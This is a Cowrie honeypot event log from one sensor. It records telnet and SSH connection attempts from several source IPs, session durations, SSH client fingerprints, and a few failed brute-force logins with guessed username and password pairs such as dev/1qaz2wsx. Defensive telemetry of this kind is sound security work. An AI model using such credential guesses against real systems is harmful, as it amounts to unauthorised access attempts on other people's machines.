{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54884,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ade8285da9","protocol":"telnet","message":"New connection: 104.245.105.2:54884 (10.17.0.5:23) [session: 90ade8285da9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:12.708632Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:13.211716Z","src_ip":"61.222.211.114","session":"b2fe95dd3d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.6157808303833,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:18.942752Z","src_ip":"162.55.233.176","session":"2d690bc8def5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.302661657333374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:20.646965Z","src_ip":"104.245.105.2","session":"494e77db7028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":37386,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dfab3afa750","protocol":"telnet","message":"New connection: 206.189.32.23:37386 (10.17.0.5:23) [session: 8dfab3afa750]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:23.114099Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42208,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a36fdfb7246","protocol":"telnet","message":"New connection: 206.189.32.23:42208 (10.17.0.5:23) [session: 4a36fdfb7246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:26.304243Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":43916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a69f41a0ff58","protocol":"telnet","message":"New connection: 206.189.32.23:43916 (10.17.0.5:23) [session: a69f41a0ff58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:28.135491Z"}
{"eventid":"cowrie.session.closed","duration":46.27162575721741,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:31.405921Z","src_ip":"206.189.32.23","session":"aba47fe2fca7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.41118407249451,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:31.997827Z","src_ip":"206.189.32.23","session":"bbf5c11e2dd1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.85140538215637,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:32.024984Z","src_ip":"188.208.141.113","session":"422e24b13882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00098514556885,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:32.814714Z","src_ip":"38.191.219.202","session":"ba077ff2b3a7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":45100,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa7c759e98b","protocol":"ssh","message":"New connection: 190.108.60.10:45100 (10.17.0.5:22) [session: dfa7c759e98b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:40.047348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:40.051388Z","src_ip":"190.108.60.10","session":"dfa7c759e98b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:40.271068Z","src_ip":"190.108.60.10","session":"dfa7c759e98b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adminuser","password":"useradmin","message":"login attempt [adminuser/useradmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:41.183380Z","src_ip":"190.108.60.10","session":"dfa7c759e98b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:42.404005Z","src_ip":"190.108.60.10","session":"dfa7c759e98b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":58574,"dst_ip":"10.17.0.5","dst_port":23,"session":"a78958193a62","protocol":"telnet","message":"New connection: 206.189.32.23:58574 (10.17.0.5:23) [session: a78958193a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:43.306955Z"}
{"eventid":"cowrie.session.closed","duration":34.33344531059265,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:47.041964Z","src_ip":"104.245.105.2","session":"90ade8285da9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.058438777923584,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:49.220730Z","src_ip":"206.189.32.23","session":"705b37243fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35076,"dst_ip":"10.17.0.5","dst_port":23,"session":"26be9c6cde43","protocol":"telnet","message":"New connection: 206.189.32.23:35076 (10.17.0.5:23) [session: 26be9c6cde43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:49.330981Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34474,"dst_ip":"10.17.0.5","dst_port":23,"session":"52445c5e32c3","protocol":"telnet","message":"New connection: 188.208.141.113:34474 (10.17.0.5:23) [session: 52445c5e32c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:49.416374Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":45946,"dst_ip":"10.17.0.5","dst_port":23,"session":"29fd90a34d56","protocol":"telnet","message":"New connection: 104.245.105.2:45946 (10.17.0.5:23) [session: 29fd90a34d56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:49.427141Z"}
{"eventid":"cowrie.session.closed","duration":2.2037389278411865,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:51.630796Z","src_ip":"104.245.105.2","session":"29fd90a34d56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":43864,"dst_ip":"10.17.0.5","dst_port":23,"session":"39024c5db2e2","protocol":"telnet","message":"New connection: 104.245.105.2:43864 (10.17.0.5:23) [session: 39024c5db2e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:58.190097Z"}
{"eventid":"cowrie.session.closed","duration":120.00175833702087,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:57:59.741118Z","src_ip":"206.189.32.23","session":"a58fee0cc529","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44290,"dst_ip":"10.17.0.5","dst_port":23,"session":"96440259b67f","protocol":"telnet","message":"New connection: 104.245.105.2:44290 (10.17.0.5:23) [session: 96440259b67f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:01.547858Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44294,"dst_ip":"10.17.0.5","dst_port":23,"session":"48261f4595f7","protocol":"telnet","message":"New connection: 104.245.105.2:44294 (10.17.0.5:23) [session: 48261f4595f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:01.988000Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44310,"dst_ip":"10.17.0.5","dst_port":23,"session":"a49bc032e7d5","protocol":"telnet","message":"New connection: 104.245.105.2:44310 (10.17.0.5:23) [session: a49bc032e7d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:03.282795Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52304,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad969ad3e7cb","protocol":"telnet","message":"New connection: 206.189.32.23:52304 (10.17.0.5:23) [session: ad969ad3e7cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:05.190790Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":44318,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a5e9fb487b5","protocol":"telnet","message":"New connection: 104.245.105.2:44318 (10.17.0.5:23) [session: 1a5e9fb487b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:05.904884Z"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":48300,"dst_ip":"10.17.0.5","dst_port":22,"session":"d133f27a6d83","protocol":"ssh","message":"New connection: 61.222.211.114:48300 (10.17.0.5:22) [session: d133f27a6d83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:08.047338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:08.053339Z","src_ip":"61.222.211.114","session":"d133f27a6d83","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:08.258040Z","src_ip":"61.222.211.114","session":"d133f27a6d83","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"7654321","message":"login attempt [user/7654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:09.108253Z","src_ip":"61.222.211.114","session":"d133f27a6d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.61007642745972,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:09.745452Z","src_ip":"206.189.32.23","session":"a69f41a0ff58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:10.316101Z","src_ip":"61.222.211.114","session":"d133f27a6d83","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.1455254554748535,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:10.336217Z","src_ip":"206.189.32.23","session":"ad969ad3e7cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59966,"dst_ip":"10.17.0.5","dst_port":23,"session":"b7d8cffc4aaa","protocol":"telnet","message":"New connection: 104.245.105.2:59966 (10.17.0.5:23) [session: b7d8cffc4aaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:12.128140Z"}
{"eventid":"cowrie.session.closed","duration":49.09238266944885,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:12.206419Z","src_ip":"206.189.32.23","session":"8dfab3afa750","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59968,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fb067e4f915","protocol":"telnet","message":"New connection: 104.245.105.2:59968 (10.17.0.5:23) [session: 0fb067e4f915]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:15.004119Z"}
{"eventid":"cowrie.session.closed","duration":49.12357568740845,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:15.427700Z","src_ip":"206.189.32.23","session":"4a36fdfb7246","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":34578,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e9f59edbff","protocol":"telnet","message":"New connection: 206.189.32.23:34578 (10.17.0.5:23) [session: b3e9f59edbff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:15.439928Z"}
{"eventid":"cowrie.session.closed","duration":32.604926109313965,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:15.911776Z","src_ip":"206.189.32.23","session":"a78958193a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":33564,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5dd33899d61","protocol":"telnet","message":"New connection: 206.189.32.23:33564 (10.17.0.5:23) [session: f5dd33899d61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:17.433351Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":36438,"dst_ip":"10.17.0.5","dst_port":23,"session":"52ebb6004512","protocol":"telnet","message":"New connection: 206.189.32.23:36438 (10.17.0.5:23) [session: 52ebb6004512]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:17.449729Z"}
{"eventid":"cowrie.session.closed","duration":1.2078282833099365,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:18.657423Z","src_ip":"206.189.32.23","session":"52ebb6004512","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":39112,"dst_ip":"10.17.0.5","dst_port":23,"session":"dbd01e87d730","protocol":"telnet","message":"New connection: 206.189.32.23:39112 (10.17.0.5:23) [session: dbd01e87d730]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:19.970970Z"}
{"eventid":"cowrie.session.closed","duration":4.033036231994629,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:24.003901Z","src_ip":"206.189.32.23","session":"dbd01e87d730","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.71559143066406,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:27.046476Z","src_ip":"206.189.32.23","session":"26be9c6cde43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.13347864151001,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:29.323459Z","src_ip":"104.245.105.2","session":"39024c5db2e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927951335906982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:32.475724Z","src_ip":"104.245.105.2","session":"96440259b67f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52150,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0ef47282bab","protocol":"telnet","message":"New connection: 104.245.105.2:52150 (10.17.0.5:23) [session: b0ef47282bab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:33.001662Z"}
{"eventid":"cowrie.session.closed","duration":31.11568784713745,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:34.398363Z","src_ip":"104.245.105.2","session":"a49bc032e7d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":52158,"dst_ip":"10.17.0.5","dst_port":23,"session":"c118fdfaebd7","protocol":"telnet","message":"New connection: 104.245.105.2:52158 (10.17.0.5:23) [session: c118fdfaebd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:34.684710Z"}
{"eventid":"cowrie.session.closed","duration":33.43104696273804,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:35.418897Z","src_ip":"104.245.105.2","session":"48261f4595f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.319465160369873,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:37.224250Z","src_ip":"104.245.105.2","session":"1a5e9fb487b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.307560443878174,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:37.723836Z","src_ip":"188.208.141.113","session":"52445c5e32c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":55098,"dst_ip":"10.17.0.5","dst_port":23,"session":"0dd473dbd6f7","protocol":"telnet","message":"New connection: 104.245.105.2:55098 (10.17.0.5:23) [session: 0dd473dbd6f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:41.416976Z"}
{"eventid":"cowrie.session.closed","duration":31.728775024414062,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:43.856774Z","src_ip":"104.245.105.2","session":"b7d8cffc4aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.563175678253174,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:46.567074Z","src_ip":"104.245.105.2","session":"0fb067e4f915","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":34284,"dst_ip":"10.17.0.5","dst_port":22,"session":"62a08dd89db0","protocol":"ssh","message":"New connection: 190.108.60.10:34284 (10.17.0.5:22) [session: 62a08dd89db0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:49.655078Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:49.659998Z","src_ip":"190.108.60.10","session":"62a08dd89db0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:49.877801Z","src_ip":"190.108.60.10","session":"62a08dd89db0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"1qaz2wsx","message":"login attempt [dev/1qaz2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:50.786659Z","src_ip":"190.108.60.10","session":"62a08dd89db0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51092,"dst_ip":"10.17.0.5","dst_port":23,"session":"b33b8d644168","protocol":"telnet","message":"New connection: 188.208.141.113:51092 (10.17.0.5:23) [session: b33b8d644168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:51.315226Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:52.009795Z","src_ip":"190.108.60.10","session":"62a08dd89db0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.833128690719604,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:54.272977Z","src_ip":"206.189.32.23","session":"b3e9f59edbff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.09926390647888,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:58:56.532475Z","src_ip":"206.189.32.23","session":"f5dd33899d61","protocol":"telnet"}
